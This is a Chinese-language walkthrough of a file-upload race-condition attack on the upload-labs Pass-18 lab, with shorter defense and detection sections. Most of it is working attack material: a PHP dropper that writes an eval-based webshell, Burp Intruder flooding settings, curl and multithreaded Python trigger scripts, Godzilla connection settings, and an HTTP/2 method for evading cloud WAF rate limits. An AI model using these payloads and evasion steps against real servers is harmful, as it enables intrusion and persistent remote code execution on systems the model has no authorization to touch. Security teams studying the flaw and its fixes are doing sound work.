文件上传“条件竞争”攻击实战:基于upload-labs靶场的突破与防御实践
什么是条件竞争?
条件竞争(Race Condition) 是当多个进程/线程同时访问共享资源时,因执行时序差异导致的逻辑漏洞。类比现实场景:
🔐 银行金库漏洞模拟
- 守卫流程:开门 → 检查身份 → 关门
- 攻击者行为:
- 在守卫开门检查时,另一人从侧门突入
- 当守卫未完成检查关闭前,窃取金库物品
- 漏洞本质:检查与执行存在时间差
漏洞关键特征
特性 | 说明 | 安全影响 |
---|---|---|
非原子操作 | 存储与校验分离执行 | 创造攻击时间窗口 |
资源可共享 | 文件暂存目录可访问 | 允许外部触发执行 |
状态不可预测 | 多请求并发导致时序混乱 | 绕过安全检查机制 |
一、攻击原理剖析
漏洞核心逻辑
1. 目标系统行为:
上传文件 → 临时保存 → 安全校验 → 删除非法文件
2. 攻击窗口期:
[上传完成] 到 [文件被删除] 之间存在时间差(通常0.1-3秒)
3. 竞争本质:
在文件被删除前,通过高并发访问触发恶意代码执行
关键攻击条件
- 服务器未对上传目录禁用脚本执行权限
- 文件保存路径可预测(如
/uploads/{filename}
) - 校验逻辑与存储操作未原子化执行
二、环境搭建与工具
实验环境
- 靶场:upload-labs Pass-18(条件竞争关卡)
- 系统:PHP 5.x/7.x(需启用文件写入权限)
- 恶意文件:
race_attack.php
攻击工具清单
工具 | 作用 |
---|---|
Burp Suite Pro | 构造高并发上传请求 |
Curl/Wget | 高频访问触发文件 |
哥斯拉/冰蝎 | Webshell连接工具 |
三、分步攻击实现
步骤1:制作恶意文件
文件: race_attack.php
<?php
// 竞争成功后写入持久化Webshell
fputs(fopen('shell.php','w'), '<?php @eval($_REQUEST["cmd"]);?>');
echo "Competition success! Shell: /uploads/shell.php";
?>
步骤2:Burp Intruder爆破配置
1. 抓取正常上传请求 → 发送至Intruder
2. 攻击类型:**Sniper**
3. Payload类型:**Null payloads**
4. 线程设置:`50-300`(根据目标承受能力调整)
5. 攻击模式:**无限循环(Until stop)**
步骤3:并发访问触发脚本
# 使用curl高频访问预测路径
while true; do
curl -s http://target/uploads/race_attack.php
sleep 0.01 # 10ms请求间隔
done
步骤4:攻击成功标志
- 客户端出现
Competition success!
响应 - 生成持久化Webshell:
/uploads/shell.php
- 哥斯拉连接配置:
- 密钥:
cmd
- 密码类型:
base64
- 连接URL:
http://target/uploads/shell.php
- 密钥:
四、技术关键点解析
成功核心要素
时间窗口拓展
- 通过慢速磁盘/高负载服务器增大竞争窗口
- 使用
usleep()
等函数延长服务器处理时间
路径预测技巧
- 扫描
/proc/self/fd/
获取临时文件句柄(Linux) - 利用
session_id()
预测临时路径
- 扫描
请求风暴优化
# Python多线程触发脚本示例 import threading import requests def race_request(): while True: requests.get("http://target/uploads/race_attack.php") for _ in range(100): # 启动100线程 threading.Thread(target=race_request).start()
五、企业级防御方案
代码层防护
// 方案1:先校验后存储(原子操作)
if(validate_file($file)) {
$new_name = hash('sha256', uniqid()).'.tmp';
move_uploaded_file($tmp_name, $new_name); // 校验通过才存盘
}
// 方案2:文件内容二次渲染
$img = imagecreatefromjpeg($tmp_path);
imagejpeg($img, $save_path); // 破坏植入的恶意代码
系统层加固
# 禁用上传目录PHP执行
location ^~ /uploads/ {
deny all; # 默认拒绝
location ~ \.php$ {
return 444; # 直接丢弃PHP请求
}
}
架构层设计
- 云存储分离
- 文件直传OSS/AWS S3(避免业务服务器接触文件)
- 文件内容检查
- 使用ClamAV实时扫描上传区
- 操作日志审计
- 监控短时间内相同文件高频上传行为
六、拓展攻击场景
1. 结合文件包含漏洞
# 攻击链:
条件竞争上传临时文件 → 包含文件触发代码 → 写入持久化后门
2. 绕过云WAF方案
# 使用HTTP/2多路复用降低速率检测
h2load -n 100000 -c 300 -m 100 \
'http://target/upload.php' \
-H 'Content-Type: multipart/form-data' \
-d @malicious.php
七、取证与检测
攻击痕迹定位
# 检查短时间内同一文件高频访问日志
SELECT COUNT(*), requested_file
FROM access_log
WHERE time > NOW() - INTERVAL 5 SECOND
GROUP BY requested_file
HAVING COUNT(*) > 100; # 阈值告警
附录:
- [OWASP文件上传防护指南]
- [Linux文件竞争漏洞白皮书]
法律声明: 本技术文档仅供授权安全测试使用,未获得书面授权进行攻击行为将承担法律责任。